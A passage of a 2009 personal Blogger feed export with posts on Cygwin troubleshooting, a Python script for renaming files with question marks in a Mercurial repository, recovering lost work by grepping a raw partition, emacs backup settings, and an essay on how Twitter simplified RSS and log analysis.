up a perfectly good FFT YouTube video with a voiceover: &lt;span style="font-style: italic;"&gt;knock it off. &lt;/span&gt;I'm watching for &lt;span style="font-weight: bold;"&gt;nostalgia&lt;/span&gt;. I want the &lt;span style="font-weight: bold;"&gt;original &lt;/span&gt;soundtrack. I &lt;span style="font-style: italic;"&gt;don't &lt;/span&gt;want to hear your worthless eurobeat playlist*, and I &lt;span style="font-style: italic; font-weight: bold;"&gt;especially &lt;/span&gt;do not want to hear you MST3K all over it.&lt;br /&gt;&lt;br /&gt;That is all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Particularly if it's from some other FF game. What on &lt;span style="font-style: italic;"&gt;earth &lt;/span&gt;is wrong with you?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PROTIP: When searching YouTube for FFT videos, make judicious use of the -exclude operator to filter the lame posters.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1806923690003638093?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1806923690003638093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/public-service-announcement.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1806923690003638093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1806923690003638093'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/public-service-announcement.html' title='Public service announcement'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1407828949540442456</id><published>2009-07-27T09:46:00.000-07:00</published><updated>2009-07-27T14:35:49.994-07:00</updated><title type='text'>Don't ask questions in Windows filenames.</title><content type='html'>Windows doesn't support the ? character in filenames, so Cygwin doesn't, either.&lt;br /&gt;&lt;br /&gt;I have a bunch of files in a mercurial repository with question marks in the name. (They're dumps of web pages for testing a bunch of scripts that process web pages, so they're of the form &lt;span style="font-family:courier new;"&gt;foo.cgi?bar=3&amp;amp;foo=someargument&lt;/span&gt;.  I noticed after untarring the archive on Windows (I had to move it from the Linux half of my laptop on a MicroSD card; don't ask.) that tar was choking on all of the filenames with ? marks.&lt;br /&gt;&lt;br /&gt;You can fix that quite easily with a script like this. (You'll have to run it on a Linux machine or something else that doesn't fail on ? marks, of course.)&lt;br /&gt;&lt;pre&gt;#!/usr/bin/python&lt;br /&gt;import subprocess, os&lt;br /&gt;names = subprocess.Popen(r"find . -name '*\?*'", shell=True, \&lt;br /&gt;           stdout=subprocess.PIPE).communicate()[0]&lt;br /&gt;for name in names.split("\n"):&lt;br /&gt;  name = name.strip()&lt;br /&gt;  if not name:&lt;br /&gt;      continue&lt;br /&gt;  print name&lt;br /&gt;  os.system(r"hg mv '%s' '%s'" % (name, name.replace("?", "@")))&lt;br /&gt;&lt;/pre&gt;I would have done this in bash, but I couldn't figure out how to iterate over filenames with spaces in them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1407828949540442456?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1407828949540442456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/dont-ask-questions-in-windows-filenames.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1407828949540442456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1407828949540442456'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/dont-ask-questions-in-windows-filenames.html' title='Don&apos;t ask questions in Windows filenames.'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3866232365502980351</id><published>2009-07-27T07:36:00.001-07:00</published><updated>2009-07-27T07:43:37.259-07:00</updated><title type='text'>Cygwin+OMPM=fail</title><content type='html'>If you ever have the occasion to install Dell's OpenManage Printer Manager on Windows, note that it may screw up your Cygwin installation -- if it does, cygwin will complain about a shared-memory library version mismatch. I fiddled with the PATH environment variable (Start-&gt;Control Panel-&gt;Classic View-&gt;System-&gt;Advanced System Settings-&gt;Environment Variables), but I either didn't correct it properly or that wasn't the problem.&lt;br /&gt;&lt;br /&gt;I tried movin the c:\program files\dell directory out of the way, but something prevented me from doing so, even after I shut down the OMPM service. Finally, I just uninstalled the thing.&lt;br /&gt;&lt;br /&gt;But it wasn't going to go quietly: when I launched Cygwin again, I got the message "bash.exe warning could not create /tmp".&lt;br /&gt;&lt;br /&gt;Oh.&lt;br /&gt;&lt;br /&gt;The first Google hit to that phrase was &lt;a href="http://forums.qj.net/psp-development-forum/114039-moving-cygwin-installation-another-drive.html"&gt;this forum post&lt;/a&gt;, which suggested running cygwin setup. I ran it, reset the root directory from the directory Dell had used to c:\cygwin, and breezed through the install prompts. It started downloading the base packages again, so I assumed that it didn't see the directory, and stopped it. I then restarted, changed "Install from Internet" to "Install from Local Directory", set c:\cygwin again, and ran through. Cywin installed those packages, but now, instead of getting the bash error message, bash launched but couldn't find anything. Even ls didn't work.&lt;br /&gt;&lt;br /&gt;Suspecting a path issue, I ran setup.exe once more, this time changing "Install For" to "All Users (RECOMMENDED)". I think Dell had changed that setting, too. I ran through the process and this time, I closed all cygwin windows before running setup.exe. When I finished with setup.exe and launched cygwin again, it worked.&lt;br /&gt;&lt;br /&gt;OK. Next time, I'll use a virtual machine.&lt;br /&gt;&lt;br /&gt;(The software does have a Linux version, but that started to choke when I pointed it to my MySQL installation and I just couldn't be bothered to try to debug it.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3866232365502980351?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3866232365502980351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/cygwinompmfail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3866232365502980351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3866232365502980351'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/cygwinompmfail.html' title='Cygwin+OMPM=fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5748649880264799242</id><published>2009-07-23T21:50:00.001-07:00</published><updated>2009-07-23T21:52:20.545-07:00</updated><title type='text'>Oh wow</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://barillari.org/images/epic.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 1074px; height: 288px;" src="http://barillari.org/images/epic.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5748649880264799242?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5748649880264799242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/oh-wow.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5748649880264799242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5748649880264799242'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/oh-wow.html' title='Oh wow'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7139251078314029825</id><published>2009-07-18T23:22:00.000-07:00</published><updated>2009-07-18T23:28:35.685-07:00</updated><title type='text'>That seems a tad high</title><content type='html'>Continental has connecting bus service from Newark to Allentown, PA. You can search for that route directly (&lt;span style="font-style: italic;"&gt;without &lt;/span&gt;a connection), which yields:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://barillari.org/images/isbus.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 863px; height: 185px;" src="http://barillari.org/images/isbus.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;That seems a little high for a 90-minute bus ride. But, hey, under what other circumstance can you earn OnePass miles on a bus?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7139251078314029825?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7139251078314029825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/that-seems-tad-high.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7139251078314029825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7139251078314029825'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/that-seems-tad-high.html' title='That seems a tad high'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6192801125948667406</id><published>2009-07-18T18:48:00.000-07:00</published><updated>2009-08-13T06:24:12.629-07:00</updated><title type='text'>"It's amazing how much can be accomplished when one is an unemployed bum living in one's parents' basement"</title><content type='html'>This guy &lt;a href="http://www.romhacking.net/trans/1200/"&gt;translated &lt;/a&gt;Final Fantasy III into Latin.&lt;br /&gt;&lt;br /&gt;I'm not sure how many nerd points you get for that, but it's got to be over 9000.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6192801125948667406?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6192801125948667406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/its-amazing-how-much-can-be.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6192801125948667406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6192801125948667406'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/its-amazing-how-much-can-be.html' title='&quot;It&apos;s amazing how much can be accomplished when one is an unemployed bum living in one&apos;s parents&apos; basement&quot;'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4007443657646360773</id><published>2009-07-18T08:50:00.000-07:00</published><updated>2009-07-18T14:39:07.894-07:00</updated><title type='text'>EPIC saving data FAIL</title><content type='html'>I'm not sure how I managed it, but while pulling and merging the latest changes from Mercurial repositories on several machines, I somehow managed to blow away all of the uncommitted changes to one of the files in my working copy.&lt;br /&gt;&lt;br /&gt;It's my own fault because I've lost work enough times to know about the emacs variable &lt;span style="font-family:courier new;"&gt;version-control&lt;/span&gt;, which, when &lt;span style="font-family:courier new;"&gt;t&lt;/span&gt;, tells emacs to keep multiple versions of the tilde backup files. (I managed to blow away the original tilde file before I noticed what had happened, so I couldn't use that.)&lt;br /&gt;&lt;br /&gt;You can set this variable with &lt;span style="font-family:courier new;"&gt;(setq version-control t)&lt;/span&gt; in your dot-emacs (&lt;span style="font-family:courier new;"&gt;~/.emacs.el&lt;/span&gt;, in my case) file. Or you can do &lt;span style="font-family:courier new;"&gt;M-x apropos&lt;/span&gt;, type in version-control, click the bolded &lt;span style="font-family:courier new;"&gt;version-control &lt;/span&gt;in the frame that opens, click &lt;span style="font-family:courier new;"&gt;customize &lt;/span&gt;in the next frame that opens, pick "&lt;span style="font-family:courier new;"&gt;Always&lt;/span&gt;" from the value menu, and hit "&lt;span style="font-family:courier new;"&gt;Save for future sessions&lt;/span&gt;.". (I prefer the former approach.)&lt;br /&gt;&lt;br /&gt;Emacs will thereafter save numbered &lt;span style="font-family:courier new;"&gt;foo.c.~1~, foo.c.~2~, foo.c.~3~&lt;/span&gt;... backup files instead of wiping &lt;span style="font-family:courier new;"&gt;foo.c~&lt;/span&gt; each time. You can use these to recover from errors like this.&lt;br /&gt;&lt;br /&gt;Some people dislike the idea of having lots of ~ files littering their directories. These people must enjoy losing data. Even if &lt;span style="font-style: italic;"&gt;you &lt;/span&gt;never make a mistake, the software you use must have bugs in it. By all means, do a &lt;span style="font-family:courier new;"&gt;rm *~&lt;/span&gt; periodically, but do be sure you know your code is committed somewhere, first.&lt;br /&gt;&lt;br /&gt;Switching on &lt;span style="font-family:courier new;"&gt;version-control &lt;/span&gt;did nothing to restore the file I'd already lost, of course. To find that, I hard-rebooted (you will want to reboot immediately or the old file risks getting overwritten) into Linux. (I was working in Cygwin on Vista due to network-card issues that do not bear getting in to). I grepped the raw Windows partition for a string I knew was in the file. The grep command was something like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;grep -a -C 1000 OPTIONAL /dev/sda1 &gt; /root/optional&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;OPTIONAL &lt;/span&gt;was my string and &lt;span style="font-family:courier new;"&gt;/dev/sda1&lt;/span&gt; was my partition. &lt;span style="font-family:courier new;"&gt;-C 1000&lt;/span&gt; tells grep to dump 1000 lines of context to each hit (the file I wanted was only a few hundred lines). If you want to monitor the progress of your grep, find its pid with &lt;span style="font-family:courier new;"&gt;ps&lt;/span&gt;, go to&lt;span style="font-family:courier new;"&gt; /proc/$pid/fd&lt;/span&gt; and do an &lt;span style="font-family:courier new;"&gt;ls -l&lt;/span&gt; to find the fd of the file grep is searching (probably 3), and then&lt;span style="font-family:courier new;"&gt; cat /proc/$pid/fdinfo/$fd &lt;/span&gt;to see &lt;span style="font-family:courier new;"&gt;grep&lt;/span&gt;'s byte-position in that file.&lt;br /&gt;&lt;br /&gt;I then gzipped grep's output, saved it to a flash card (Windows can't read my Linux partitions and Linux can't write my Windows partition), and rebooted into Vista.&lt;br /&gt;&lt;br /&gt;If you have a fairly-generic query string like mine, lots of spurious hits will show up. I skipped these by re-grepping the file for other strings that I knew should have been there. I found a mostly-complete copy of the version I wanted and pasted in the appropriate bits. And then I made darn sure to commit my changes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4007443657646360773?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4007443657646360773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/epic-saving-data-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4007443657646360773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4007443657646360773'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/epic-saving-data-fail.html' title='EPIC saving data FAIL'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2787379055049491004</id><published>2009-07-17T14:58:00.000-07:00</published><updated>2009-07-17T15:27:59.283-07:00</updated><title type='text'>Lie back and think of Canada</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RQWmQmpSh1E/SmD63eH4fJI/AAAAAAAAAA8/BE7gs_s6y1M/s1600-h/lieback.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 227px;" src="http://4.bp.blogspot.com/_RQWmQmpSh1E/SmD63eH4fJI/AAAAAAAAAA8/BE7gs_s6y1M/s400/lieback.png" alt="" id="BLOGGER_PHOTO_ID_5359559387456765074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Lie_back_and_think_of_England"&gt;http://en.wikipedia.org/wiki/Lie_back_and_think_of_England&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2787379055049491004?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2787379055049491004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/lie-back-and-think-of-canada.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2787379055049491004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2787379055049491004'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/lie-back-and-think-of-canada.html' title='Lie back and think of Canada'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_RQWmQmpSh1E/SmD63eH4fJI/AAAAAAAAAA8/BE7gs_s6y1M/s72-c/lieback.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2997366804048604460</id><published>2009-07-15T17:07:00.000-07:00</published><updated>2009-07-15T17:20:15.904-07:00</updated><title type='text'>Open-air pharmacy</title><content type='html'>&lt;p&gt;From&lt;a href="http://freedom-to-tinker.com/blog/golden/freedom-speech-based-approach-limiting-filesharing-part-iii-smoke-smoke"&gt; Freedom to Tinker&lt;/a&gt;:&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;Washington Square, in New York City, was for many years a place where drugs were sold. A fellow would stand around quietly saying to passersby "Smoke, smoke!" However, this so-called "steerer" held no drugs. His role was simply to direct the buyer to the "pitcher", who had the drugs somewhere nearby, and who kept silent.&lt;br /&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;Was for many years&lt;/span&gt;? Past tense? Heck, that happened to me &lt;span style="font-style: italic;"&gt;two days ago&lt;/span&gt;. I thought the guy was trying to bum a cigarette. I told him I didn't smoke.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2997366804048604460?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2997366804048604460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/open-air-pharmacy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2997366804048604460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2997366804048604460'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/open-air-pharmacy.html' title='Open-air pharmacy'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-565707748802078289</id><published>2009-07-15T16:39:00.000-07:00</published><updated>2009-07-15T16:40:29.328-07:00</updated><title type='text'>Geez, has it really been that long since I last used Cygwin?</title><content type='html'>If you want to get the clipboard to work in Cygwin's X server, start X with&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;X -clipboard -multiwindow&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(assuming you also want multiwindowing.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-565707748802078289?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/565707748802078289/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/geez-has-it-really-been-that-long-since.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/565707748802078289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/565707748802078289'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/geez-has-it-really-been-that-long-since.html' title='Geez, has it really been that long since I last used Cygwin?'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8587425928774247537</id><published>2009-07-14T16:56:00.000-07:00</published><updated>2009-07-14T18:17:40.219-07:00</updated><title type='text'>Twitter: sheer win. On degeekifying the geekery.</title><content type='html'>Back when I took the whole "blogging" and "personal website" thing seriously, I had a fairly sophisticated system for seeing who read my blog. I counted referer* headers, search strings, and hits over time with software like &lt;a href="http://packages.debian.org/search?keywords=visitors"&gt;visitors&lt;/a&gt;. I had my own scripts that grepped the logs for Princeton IPs and resolved them to the names of people visiting. I even emailed people when it looked like their computers were infected with Nimda or Code Red or whatever the virus-of-the-day was back in 2001.&lt;br /&gt;&lt;br /&gt;This sort of naval-gazing was great fun -- in fact, I'm sure I made a lot of posts just because I loved seeing the names and numbers scroll by. But I eventually got bored with it, especially after I graduated and moved to a school where I no longer could instantly resolve an IP address to the name of a human being.&lt;br /&gt;&lt;br /&gt;It was also a huge pain to make all of that software work, given that I ran Debian Unstable which (true to its name) would occasionally break during an upgrade.&lt;br /&gt;&lt;br /&gt;On that note, I used to read blogs with feedonfeeds. One day, an apt-get update broke php4-mysql, which broke feedonfeeds. I would have fixed it, but I realized that I was saving a whole bunch of time by not following the Internet echo chamber, so I never did.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With an RSS reader, you can track lots of peoples' blogs, but you have to understand what RSS is all about, find the RSS links at the sites you use, paste them into your reader, hope that you don't get Atom and RSS 0.9 and RSS 1.0 confused and plug the wrong URL for the wrong format into your reader. (This was apparently a &lt;span style="font-style: italic;"&gt;very important &lt;/span&gt;technical and even political issue back in the day.) There are &lt;a href="http://persistent.info"&gt;very smart people &lt;/a&gt;working on RSS readers, but I think it's still too much trouble for a lot of people.&lt;br /&gt;&lt;br /&gt;The real genius behind Twitter was combining both of these pieces.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With ordinary web sites, you can use one of a zillion log-analysis plug-ins or, if you have access to the raw logs, roll your own. Neither choice is easy. On twitter, you have a count -- a count! of real human beings! -- following you. And you have their &lt;span style="font-style: italic;"&gt;names&lt;/span&gt;! Or at least their Twitter handles. You have what I had at Princeton without having to know what  httpd.conf is, or how to edit a crontab file, or how to install a Debian package, or any of a zillion other things &lt;span style="font-style: italic;"&gt;completely irrelevant &lt;/span&gt;to the task of finding out how popular you are on the Internets. Even teenyboppers with Xanga accounts still had to know enough to put the sitemeter tracking bug into their layout, and of course that wouldn't tell them &lt;span style="font-style: italic;"&gt;who &lt;/span&gt;visited, only the IP address of the visitor. With Twitter, you have a number and a list.&lt;br /&gt;&lt;br /&gt;The second thing that Twitter made vastly easier was that it replaced RSS with something far easier. With RSS, you can track what lots of people are writing, but you have to be clued-in enough and sufficiently inclined to bother. Twitter made this trivial:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With RSS:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find something you'd like to subscribe to.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Hunt around for the RSS link.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Is that it? Is it called XML? RSS? Atom? Feed? News feed? Rich Site Syndication? What?&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Does it have that little radar logo? The XML button logo? Where the heck is it? Maybe it's here! Here in the title of the page!  Aha! They used the link tag!&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Oh, wait, that lets me add it as a Firefox Live Bookmark. I don't want a Firefox Live Bookmark! I want the URL so I can paste it into my reader! (In fairness, Firefox makes this much easier these days, but back in the day, it wasn't easy.)&lt;/li&gt;&lt;li&gt;Do I want the RSS or the Atom? What's the difference?&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;With Twitter:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find an interesting feed&lt;/li&gt;&lt;li&gt;Click "follow"&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;I'll also add that the @notation for replying is total win. Back in the day, I wrote a &lt;a href="http://barillari.org/blog/world/japan/1st-japanophile.html"&gt;blog post&lt;/a&gt; that linked to another website (sadly offline today; &lt;a href="http://web.archive.org/web/20060206223235/http://www.godhatesjanks.org/"&gt;here's the archive&lt;/a&gt;), speculating about what the author would have thought. He apparently noticed it in his referer logs and wrote an email to tell me. You'd have to know a fair bit of technical mumbo-jumbo to do that in 2004, but in 2009, I'd just type @whoever into Twitter. Heck, I could even leave out the @; lots of people search for themselves. My hosting company "followed" &lt;a href="http://twitter.com/overvu"&gt;Over-vu &lt;/a&gt;within minutes of my mentioning them.&lt;br /&gt;&lt;br /&gt;I'm hardly the first to observe that some of the most successful business ideas on the Internet come from adapting and simplifying things that geeks take for granted. I did log analysis because I could. Few people would find it worth the bother. Twitter made it trivial. I had a personal webpage because I was willing to go to the trouble of building one. I wish I could remember the name of the pundit who observed that what Facebook and Myspace and Friendster did was make it trivial for non-geeks to have a web presence. I could search my email because I knew how to roll a search engine with Lucene and had the always-on server to do it. Gmail made it easy for &lt;span style="font-style: italic;"&gt;everyone &lt;/span&gt;to search their email.&lt;br /&gt;&lt;br /&gt;It's not merely enough to make it easy to use -- all of these applications have been transformative. Twitter affords less space than a blog, which means both that posts fit in SMS messages for mobile users and that terseness becomes a virtue. Facebook doesn't really let you post a homepage -- it lets you fill out forms. Consequently a Facebook profile is far cleaner and more inviting than the average Geocities (or Myspace) page. Twitter doesn't do log analysis and geolocation and referer tracking, but I don't think Twitter users miss these  --- popularity as a single number is much easier to understand than "I got 5,603 hits from Yemen last week!" Twitter's follower counts (dare I call them scores?) are even more impressive than facebook friend counts, because you can hide most of your profile from a facebook "friend" and filter them from your news feed, but a twitter follower has to &lt;span style="font-style: italic;"&gt;see&lt;/span&gt; all of your updates.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The multi-billion-dollar business question is: what do geeks have &lt;span style="font-style: italic;"&gt;today&lt;/span&gt; that hasn't yet been adapted for the masses?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Yes, that's the &lt;span style="font-style: italic;"&gt;correct&lt;/span&gt; spelling in this context.. Whoever wrote the &lt;a href="http://tools.ietf.org/html/rfc2616#section-14.36"&gt;HTTP spec&lt;/a&gt; famously spelled it incorrectly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8587425928774247537?l=jbarillari.blogspot.com' alt='' 